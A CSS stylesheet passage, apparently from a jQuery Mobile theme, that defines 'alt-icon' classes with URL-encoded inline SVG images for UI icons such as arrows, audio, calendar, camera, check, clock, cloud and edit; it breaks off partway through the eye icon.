.ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-audio:after, .ui-alt-icon .ui-icon-audio:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-back:after, .ui-alt-icon .ui-icon-back:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bars:after, .ui-alt-icon .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h12%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-bullets:after, .ui-alt-icon .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5C4.447%2C6%2C4%2C6.447%2C4%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1h8%20c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6C0.447%2C6%2C0%2C6.447%2C0%2C7%20c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-calendar:after, .ui-alt-icon .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-camera:after, .ui-alt-icon .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2%20h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-d:after, .ui-alt-icon .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-l:after, .ui-alt-icon .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-r:after, .ui-alt-icon .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-carat-u:after, .ui-alt-icon .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-check:after, .ui-alt-icon .ui-icon-check:after, html .ui-alt-icon.ui-btn.ui-checkbox-on:after, html .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-clock:after, .ui-alt-icon .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-cloud:after, .ui-alt-icon .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2c-0.158%2C0-0.311%2C0.023-0.457%2C0.058%20C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07%20C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-comment:after, .ui-alt-icon .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-delete:after, .ui-alt-icon .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-edit:after, .ui-alt-icon .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-eye:after, .ui-alt-icon .ui-icon-eye:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3%20C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.